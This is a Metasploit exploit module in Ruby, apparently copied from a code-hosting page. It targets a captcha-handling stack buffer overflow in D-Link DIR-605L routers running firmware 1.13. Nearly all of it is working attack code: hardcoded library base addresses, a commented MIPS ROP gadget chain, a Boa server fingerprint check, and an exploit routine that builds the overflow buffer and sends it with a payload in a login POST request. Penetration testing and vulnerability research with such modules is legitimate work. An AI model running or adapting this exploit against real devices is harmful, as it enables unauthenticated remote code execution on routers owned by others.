128 lines
5.5 KiB
Ruby
128 lines
5.5 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking # Because only has been tested on a QEMU emulated environment
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HttpFingerprint = { :pattern => [ /Boa/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'D-Link DIR-605L Captcha Handling Buffer Overflow',
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'Description' => %q{
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This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The
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vulnerability exists while handling user supplied captcha information, and is due to the
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insecure usage of sprintf on the getAuthCode() function. This module has been tested
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successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment.
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},
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'Author' =>
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[
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'Craig Heffner', # Vulnerability discovery, original exploit
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 3000,
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'BadChars' => "\x00\x67\x26\x2b"
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},
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'Platform' => ['linux'],
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'Arch' => ARCH_MIPSBE,
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'References' =>
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[
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[ 'OSVDB', '86824' ],
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[ 'URL', 'http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/' ]
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],
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'Targets' =>
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[
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[ 'DLink DIR-605L 1.13',
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{
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'Offset' => 94,
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'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner
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'ApmibBase' => 0x2aaef000, # According to Original Exploit by Craig Heffner
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#'LibcBase' => 0x4212e000, # QEMU environment
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#'ApmibBase' => 0x42095000, # QEMU environment
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#LOAD:000248D4 li $a0, 1 ; set $a0 for the sleep() call
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#LOAD:000248D8 move $t9, $s1 ; $s1 is controlled after the overflow
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#LOAD:000248DC jalr $t9
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'Ret' => 0x248D4, # from libc
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#LOAD:0002B954 move $t9, $s2 # Controlled
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#LOAD:0002B958 lw $ra, 0x30+var_4($sp) # allows to get controlled $ra from the stack
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#LOAD:0002B95C lw $s4, 0x30+var_8($sp)
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#LOAD:0002B960 lw $s3, 0x30+var_C($sp)
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#LOAD:0002B964 lw $s2, 0x30+var_10($sp)
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#LOAD:0002B968 lw $s1, 0x30+var_14($sp) # allows to get controlled $s1 from the stack
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#LOAD:0002B96C lw $s0, 0x30+var_18($sp)
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#LOAD:0002B970 jr $t9
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'RopJmpSleep' => 0x2B954, # from libc
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'RopSleep' => 0x23D30, # from libc # Sleep Function Address # sleep() to flush the data cache
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#LOAD:000027E8 move $t9, $s1 # Controlled
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#LOAD:000027EC jalr $t9 ; sub_22D0
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#LOAD:000027F0 addiu $a2, $sp, 0x40+var_24 ; put pointer to the stack on $a2 # executed because of pipelining
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'RopPtrStack' => 0x027E8, # from apmi
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#LOAD:00001D78 move $t9, $a2 ; $a2 contains a poiner to the stack
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#LOAD:00001D7C jalr $t9
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'RopJmpStack' => 0x01D78 # from apmi
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}
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]
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],
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'DisclosureDate' => 'Oct 08 2012',
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'DefaultTarget' => 0))
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end
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def check
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res = send_request_cgi({ 'uri' => '/comm.asp' })
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if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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shellcode = ""
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shellcode << rand_text(target['Offset']) # Padding
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shellcode << rand_text(4) # $s0
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shellcode << [target['LibcBase'] + target['RopJmpSleep']].pack("N") # $s1
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shellcode << [target['LibcBase'] + target['RopSleep']].pack("N") # $s2
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shellcode << rand_text(4) # $s3
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shellcode << [target['LibcBase'] + target.ret].pack("N") # $ra
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shellcode << rand_text(0x1c) # filler
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shellcode << rand_text(4) # $s0
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shellcode << [target['ApmibBase'] + target['RopJmpStack']].pack("N") # $s1
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shellcode << rand_text(4) # $s2
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shellcode << rand_text(4) # $s3
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shellcode << rand_text(4) # $s4
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shellcode << [target['ApmibBase'] + target['RopPtrStack']].pack("N") # $ra
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shellcode << rand_text(0x1c) # filler
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shellcode << payload.encoded # shellcode
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print_status("#{peer} - Sending exploit...")
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send_request_cgi({
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'method' => 'POST',
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'uri' => "/goform/formLogin",
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'encode_params' => false,
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'vars_post' => {
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'VERIFICATION_CODE' => 'myvoiceismypassportverifyme',
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'VER_CODE' => '1234',
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'login_n' => 'admin',
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'FILECODE' => shellcode,
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'curTime' => '1348588030496',
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'login_pass' => 'Zm9vb255b3UA',
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'login_name' => 'admin'
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}
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})
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end
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end
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